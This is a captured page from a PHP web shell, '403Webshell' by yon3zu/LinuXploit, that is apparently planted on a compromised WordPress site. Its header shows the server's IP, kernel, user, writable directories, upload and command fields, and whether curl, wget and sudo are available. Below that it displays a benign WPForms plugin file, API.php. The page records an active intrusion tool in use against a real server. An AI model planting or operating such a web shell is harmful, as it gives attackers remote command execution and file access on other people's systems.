403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.225
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kiwigrass_LIVE/wp-content/plugins/wpforms-lite/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kiwigrass_LIVE/wp-content/plugins/wpforms-lite/src/API.php
<?php

namespace WPForms;

use WPForms\Admin\Tools\Views\Import;

/**
 * Class API.
 *
 * @since 1.8.6
 */
class API {

	/**
	 * Registry.
	 * Contains name of the class and method to be called.
	 * For non-static methods, should contain the id to operate via wpforms->get( 'class' ).
	 *
	 * @todo Add non-static methods processing.
	 *
	 * @since 1.8.6
	 *
	 * @var array[]
	 */
	private $registry = [
		'import_forms' => [
			'class'  => Import::class,
			'method' => 'import_forms',
		],
	];

	/**
	 * Magic method to call a method from registry.
	 *
	 * @since 1.8.6
	 *
	 * @param string $name Method name.
	 * @param array  $args Arguments.
	 *
	 * @return mixed|null
	 */
	public function __call( string $name, array $args ) {

		$callback = $this->registry[ $name ] ?? null;

		if ( $callback === null ) {
			return null;
		}

		return call_user_func( [ $callback['class'], $callback['method'] ], ...$args );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit